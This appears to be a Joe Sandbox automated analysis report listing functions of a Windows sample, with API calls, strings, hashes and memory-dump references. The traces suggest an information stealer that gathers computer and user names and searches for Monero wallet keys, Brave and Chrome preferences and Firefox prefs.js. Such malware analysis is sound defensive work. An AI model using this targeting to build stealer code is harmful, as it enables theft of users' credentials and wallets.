Instruction ID: a547e31f6553f2c8b07235ca2967542b870e2044e966d081930935346246b45d
Opcode Fuzzy Hash: 4b48b97e0f27016e261e9784790e87f3d2f83dd221151b0afdeb34df0d4f3e33
Instruction Fuzzy Hash: CAF0E2B1641208BBE714ABA4AC59FBAB7E8E705B15F300448F608E7280D572AF04DAA1

Function 003B1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 003C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C7910
Part of subcall function 003C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 003C7917
Part of subcall function 003C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 003C792F

Part of subcall function 003C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,003B11B7), ref: 003C7880
Part of subcall function 003C7850: RtlAllocateHeap.NTDLL(00000000), ref: 003C7887
Part of subcall function 003C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 003C789F

ExitProcess.KERNEL32 ref: 003B11C6

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: ae8c213dbd60eac26982f3048f80428b95467a8d7d9ad7764d7f581ae5e72c0e
Instruction ID: 1d806d81104ee076c3e1711b2f877e85126436ec45466310670021ab372e1ef5
Opcode Fuzzy Hash: ae8c213dbd60eac26982f3048f80428b95467a8d7d9ad7764d7f581ae5e72c0e
Instruction Fuzzy Hash: BDE0ECB991430152DA0173B5AC1BF2A339C5B24749F040428FF09DA502FA29ED04DA67

Non-executed Functions

Function 003C38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003C38CC
FindFirstFileA.KERNEL32(?,?), ref: 003C38E3
lstrcat.KERNEL32(?,?), ref: 003C3935
StrCmpCA.SHLWAPI(?,003D0F70), ref: 003C3947
StrCmpCA.SHLWAPI(?,003D0F74), ref: 003C395D
FindNextFileA.KERNEL32(000000FF,?), ref: 003C3C67
FindClose.KERNEL32(000000FF), ref: 003C3C7C

Strings

%s\%s, xrefs: 003C397A
%s%s, xrefs: 003C3AAD
%s\%s, xrefs: 003C3A6F
%s\%s\%s, xrefs: 003C3A4A
%s\*, xrefs: 003C38C0

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: bcd048cacf957a2336e2eb5e211cb6919c050619fe932facd5a4b276625b5b02
Instruction ID: d100b5e6f64f0fc063cb9deafe4d031c21b507481f025fb29978c3ea73de79ce
Opcode Fuzzy Hash: bcd048cacf957a2336e2eb5e211cb6919c050619fe932facd5a4b276625b5b02
Instruction Fuzzy Hash: 3CA11FB29002189BDB25EB64DC85FFE7379BB58700F04858DE60DD6141EB759B88CF62

Function 003BBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,003D0B32,003D0B2B,00000000,?,?,?,003D13F4,003D0B2A), ref: 003BBEF5
StrCmpCA.SHLWAPI(?,003D13F8), ref: 003BBF4D
StrCmpCA.SHLWAPI(?,003D13FC), ref: 003BBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 003BC7BF
FindClose.KERNEL32(000000FF), ref: 003BC7D1

Strings

Brave, xrefs: 003BC102
Google Chrome, xrefs: 003BC634
Preferences, xrefs: 003BC11E
\Brave\Preferences, xrefs: 003BC1DB

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: fd0d50910f226d212c98d2e3c45cd025e8b90e4ad75df8cd163f43a07beab093
Instruction ID: 6df49409570f79f787eab31721544b4a32ba33fc9a0099d665ab035fcd2a5e87
Opcode Fuzzy Hash: fd0d50910f226d212c98d2e3c45cd025e8b90e4ad75df8cd163f43a07beab093
Instruction Fuzzy Hash: E7424172910208ABCB16FBA0DD56FED737DAB94304F40455CB50ADA181EE34AF49CBA2

Function 003C4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003C492C
FindFirstFileA.KERNEL32(?,?), ref: 003C4943
StrCmpCA.SHLWAPI(?,003D0FDC), ref: 003C4971
StrCmpCA.SHLWAPI(?,003D0FE0), ref: 003C4987
FindNextFileA.KERNEL32(000000FF,?), ref: 003C4B7D
FindClose.KERNEL32(000000FF), ref: 003C4B92

Strings

%s\*, xrefs: 003C4920
%s\%s, xrefs: 003C49A4
%s\%s, xrefs: 003C49FB

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: a5356c46127db98b7d515bb8a6529bf0d3582db4a1f47908ed97860c7fd955fd
Instruction ID: eddd97862906906f075b95d25ca67f360c63fa4247b087b0f71bf903429f4ca7
Opcode Fuzzy Hash: a5356c46127db98b7d515bb8a6529bf0d3582db4a1f47908ed97860c7fd955fd
Instruction Fuzzy Hash: 446143B2900218ABCB25EBA0DC55FFA737CBB58700F04458DE64DD6141EB75AB49CFA2

Function 003C4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 003C4580
RtlAllocateHeap.NTDLL(00000000), ref: 003C4587
wsprintfA.USER32 ref: 003C45A6
FindFirstFileA.KERNEL32(?,?), ref: 003C45BD
StrCmpCA.SHLWAPI(?,003D0FC4), ref: 003C45EB
StrCmpCA.SHLWAPI(?,003D0FC8), ref: 003C4601
FindNextFileA.KERNEL32(000000FF,?), ref: 003C468B
FindClose.KERNEL32(000000FF), ref: 003C46A0
lstrcat.KERNEL32(?,0118F9C8), ref: 003C46C5
lstrcat.KERNEL32(?,0118E410), ref: 003C46D8
lstrlen.KERNEL32(?), ref: 003C46E5
lstrlen.KERNEL32(?), ref: 003C46F6

Strings

%s\%s, xrefs: 003C461B
%s\*, xrefs: 003C459A

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 6cc8881169fa7666e191d7ef0f0f8dc0e72dc8f964c3b9b8e056bc5bf0f42634
Instruction ID: da9fc257f4bdeeac3befd856386d896b1fbb3d644005a4b51e11fdc9cf03de30
Opcode Fuzzy Hash: 6cc8881169fa7666e191d7ef0f0f8dc0e72dc8f964c3b9b8e056bc5bf0f42634
Instruction Fuzzy Hash: 0C5155B29002189BC725EB70DC99FF9737CAB58700F404589F60DD6150EB759B89CFA2

Function 003C3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003C3EC3
FindFirstFileA.KERNEL32(?,?), ref: 003C3EDA
StrCmpCA.SHLWAPI(?,003D0FAC), ref: 003C3F08
StrCmpCA.SHLWAPI(?,003D0FB0), ref: 003C3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 003C406C
FindClose.KERNEL32(000000FF), ref: 003C4081

Strings

%s\%s, xrefs: 003C3EB7

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: f371cfb9a96fdd8b6a16076b56890c7b6ecb5e22ae64201bfda9fc796562259b
Instruction ID: 0ae97cde06227abe8a5e156c2689f9517c932902129a64a4dbd54c0765aa2c26
Opcode Fuzzy Hash: f371cfb9a96fdd8b6a16076b56890c7b6ecb5e22ae64201bfda9fc796562259b
Instruction Fuzzy Hash: 925101B2900218ABCB25EBA0DC45FFA737CBB58700F40458DB65DD6140EB75AB89DF52

Function 003BED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 003BED3E
FindFirstFileA.KERNEL32(?,?), ref: 003BED55
StrCmpCA.SHLWAPI(?,003D1538), ref: 003BEDAB
StrCmpCA.SHLWAPI(?,003D153C), ref: 003BEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 003BF2AE
FindClose.KERNEL32(000000FF), ref: 003BF2C3

Strings

%s\*.*, xrefs: 003BED32

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f088188a00a4f208c9097435934d6be68dc08b800b660a0091884ba675d2bf85
Instruction ID: e18af265c2f1ec67bab2880a0eacd616d4fe1e4fea6df826672053ea7d1ba6e4
Opcode Fuzzy Hash: f088188a00a4f208c9097435934d6be68dc08b800b660a0091884ba675d2bf85
Instruction Fuzzy Hash: 8DE12D7281161C9BDB16EB60DC52FEE7738AF54304F40419DB50AAA092EF306F8ADF52

Function 003BF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003D15B8,003D0D96), ref: 003BF71E
StrCmpCA.SHLWAPI(?,003D15BC), ref: 003BF76F
StrCmpCA.SHLWAPI(?,003D15C0), ref: 003BF785
FindNextFileA.KERNEL32(000000FF,?), ref: 003BFAB1
FindClose.KERNEL32(000000FF), ref: 003BFAC3

Strings

prefs.js, xrefs: 003BF812

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: d77bf2dd91b21de5e53ade630d45d31a2a7379041993d4651e10308a2dce8628
Instruction ID: 9b3ce9b5916bb5da73f4bc6c4d89b1e6ede926bbbecb6a168e0fc834dddccf87
Opcode Fuzzy Hash: d77bf2dd91b21de5e53ade630d45d31a2a7379041993d4651e10308a2dce8628
Instruction Fuzzy Hash: 2CB14E719006089BCB26EB60DC96FEE7779AF54304F4085ADA50ADA181EF306F49CF92

Function 003B16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003D510C,?,?,?,003D51B4,?,?,00000000,?,00000000), ref: 003B1923
StrCmpCA.SHLWAPI(?,003D525C), ref: 003B1973
StrCmpCA.SHLWAPI(?,003D5304), ref: 003B1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 003B1D40
DeleteFileA.KERNEL32(00000000), ref: 003B1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 003B1E20
FindClose.KERNEL32(000000FF), ref: 003B1E32

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Strings

\*.*, xrefs: 003B17F1

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c2bb70d07bbc9d17438b48187ff79eafbe1f4ae75f6f7936575228da11740e48
Instruction ID: 7ea48e0572a445ec50f9ca73c0fe291525833055e0d230af46d4738ac5b1cf1b
Opcode Fuzzy Hash: c2bb70d07bbc9d17438b48187ff79eafbe1f4ae75f6f7936575228da11740e48
Instruction Fuzzy Hash: C612EE7191061C9BDB16EB60DC96FEE7778AF54304F40419DA10AEA091EF306F89DF92

Function 003BDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,003D0C2E), ref: 003BDE5E
StrCmpCA.SHLWAPI(?,003D14C8), ref: 003BDEAE
StrCmpCA.SHLWAPI(?,003D14CC), ref: 003BDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 003BE3E0
FindClose.KERNEL32(000000FF), ref: 003BE3F2

Strings

\*.*, xrefs: 003BDE26

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

